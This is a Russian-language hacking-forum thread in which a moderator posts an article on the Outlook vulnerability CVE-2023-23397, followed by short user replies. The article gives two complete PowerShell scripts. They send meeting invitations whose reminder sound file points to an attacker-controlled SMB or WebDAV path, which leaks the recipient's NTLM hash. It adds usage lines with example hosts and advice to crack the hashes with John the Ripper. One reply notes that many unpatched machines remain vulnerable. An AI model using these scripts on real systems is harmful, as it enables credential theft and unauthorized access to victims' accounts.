• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2023-23397 или Как напоминания об встречах могут быть опасными

tenac1ous

Shellcode
Модератор
Регистрация
22.01.2023
Сообщения
169
Реакции
224
CVE-2023-23397 - это уязвимость в офисном пакете Microsoft а точнее в их почтовом клиенте Outlook , позволяющая хакеру сделать пакостные вещи такие как: воровство хешей и эскалации привелегий.
Самое забавное в том что от юзера не нужна никакая отдача, он может спокойно сидеть в офисе, мечтать об отпуске на Кипре, делая ненавистные отчеты по продажам, пока злоумышленики выкачивают у него NTLM хеши.
Уязвимость именовали идентификатором CVE-2023-23397 и она имеет крайне высокий рейтинг опасности из-за довольно простого способа ее реализации - это 9.8 из 10 баллов в системе CVSS.
Screenshot 2023-03-16 233023.png


Краткое описание уязвимости от оконных корпоратов гласит:
"Уязвимость CVE-2023-23397 позволяет удаленному и неавторизованному злоумышленнику несанкционированый доступ к данным пользователя, отправив специально созданное электронное письмо. При получении этого письма Outlook автоматически его обрабатывает, что может привести к тому, что злоумышленник получит учетные данные пользователя. Уязвимость настолько серьезна, что злоумышленнику не требуется открытие электронного письма, чтобы получить доступ к системе. Уязвимость может быть эксплуатирована до того, как электронное письмо будет просмотрено в предварительном просмотре."

Затронутые версии включают:
Абсолютно все версии Outlook для Windows


Ну что же, звучит очень страшно но в тоже время весьма интересно а как именно работает способ экспулуатации данной уязвимости.

Условный хакер отправляет сообщение с расширенным MAPI-свойством с UNC-путем через SMB на подконтрольном хакеру дедике. Эксплуатируются напоминания об встречах в которые и вставляется код позволяющий установить соедиение. Взаимодействие с пользователем не требуется. Эксплуатация запустится автоматически, как только клиент получит электронное письмо. При подключении к удаленному SMB серверу пользователь отправляет потверждение отправки NTLM хеша в виде ReminderSoundFile который сервер Outlook попытается открыть, в виде него будет выступать SMB ссылка, которая передаст хэш NTLM жертвы злоумышленнику, который затем может использовать такую софтину как John The Ripper для взлома хеша а после использовать пароль для аутентификации в других Microsoft системах в качестве подвершегося атаке юзера. Запуск требуется на компьютере с Windows и с установленным Outlook.

Также есть возможность использования данной уязвимости для получения удаленного доступа и повышении привилегий, действует она через абсолютно такой же вектор атаки:

Эскалация привелегий через CVE-2023-23397
.
Эскалация привелегий через CVE-2023-23397

Но все же давайте вернемся к главной сути.


images (3).jpg
Вот пример PowerShell кода который используется для эксплуатации:
Код:
$ol = New-Object -ComObject Outlook.Application
$meeting = $ol.CreateItem('olAppointmentItem')
$meeting.Subject = 'Сисадмин уезжает на Кипр'
$meeting.Body = 'Завидуйте все, можете не ждать в течении 3 дней'
$meeting.Location = 'Virtual'
$meeting.ReminderSet = $True
$meeting.Importance = 1
$meeting.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$meeting.Recipients.Add('victim@xss.pro') # Адрес жертвы

# Создает собрание через 16 минут в будущем с напоминанием за 15 минут до него — запрос должен запускаться через 1 минуту после запуска.
$meeting.ReminderMinutesBeforeStart = 15
$meeting.Start = [datetime]::Now.AddMinutes(16)
$meeting.Duration = 30
$meeting.ReminderPlaySound = $True
$meeting.ReminderOverrideDefault = $True

# Это и есть причина почему уязвимость существует -
# Outlook будет пытатся удаленно загрузить файл
# Сервер (если такой указан в UNC пути)
$meeting.ReminderSoundFile = "\\<UNC PATH>" # Измените на свой SMB сервер

# Это также может быть WebDAV запрос также как и HTTP или HTTPS запросы:
# $meeting.ReminderSoundFile = "\\xss.pro@80\soundfile.wav"
# $meeting.ReminderSoundFile = "\\xss.pro@SSL@443\soundfile.wav"

$meeting.Save()
$meeting.Send()

Вот более усовершенствованный код поддерживающий интерактивность через PowerShell:
Код:
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meeetingbody)
{
    $Outlook = New-Object -comObject Outlook.Application
    $newcal = $outlook.CreateItem('olAppointmentItem')
    $newcal.ReminderSoundFile = $remotefilepath
    $newcal.Recipients.add($recipient)
    $newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
    $newcal.Subject = $meetingsubject
    $newcal.Location = "Virtual"
    $newcal.Body = $meetingbody
    $newcal.Start = get-date
    $newcal.End = (get-date).AddHours(2)
    $newcal.ReminderOverrideDefault = 1
    $newcal.ReminderSet = 1
    $newcal.ReminderPlaysound = 1
    $newcal.send()
}

function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meeetingbody)
{
    $Outlook = New-Object -comObject Outlook.Application
    $newcal = $outlook.CreateItem('olAppointmentItem')
    $newcal.ReminderSoundFile = $remotefilepath
    $newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
    $newcal.Subject = $meetingsubject
    $newcal.Location = "Virtual"
    $newcal.Body = $meetingbody
    $newcal.Start = get-date
    $newcal.End = (get-date).AddHours(2)
    $newcal.ReminderOverrideDefault = 1
    $newcal.ReminderSet = 1
    $newcal.ReminderPlaysound = 1
    $newcal.save()
}

Далее можно оперирировать этими командами в зависимости от нужных действий:
Код:
# Отправка:
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
#
# Сохранение:
# Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"



Я далеко не самый лучший специалист в сфере ИБ и я не претендую на крутого врайтера, тут как говорила моя бабушка: "Век живи, век учись". Это моя первая статья, так что не судите строго, в любом случае я буду рад конструктивной критике для улучшения своих навыков. Написание подобных статей в первую очередь полезно для меня в плане саморазвития и в то же время возможно будет полезно кому то еще, на что я конечно же очень очень надеюсь. Всем удачи, и да прибудет з вами фаервол!
 
Последнее редактирование:
пробовал кто-нибудь?
Майкрософт уже выпустили обновление которое фиксит данную дыру, но в сети ещё много не обновленных устройств так что есть высокая вероятность срабатывания на данный момент
 
немного не правду написал, по сути так работает а вот практика совсем другая
Есть много методов реализации данной уязвимости сама суть заключается как раз в таки в ReminderSoundFile, либо же назначении встречи
 
Есть много методов реализации данной уязвимости сама суть заключается как раз в таки в ReminderSoundFile, либо же назначении встречи
Ну по сути вне сети есть только один метод, как я понимаю. Больше чем netntlm из нее не выжать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Получается это только внутри сети работает? Т.е. через интернет не получится эксплойт провернуть
Снаружи пробить тачку из сетки, чел же написал SMB
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх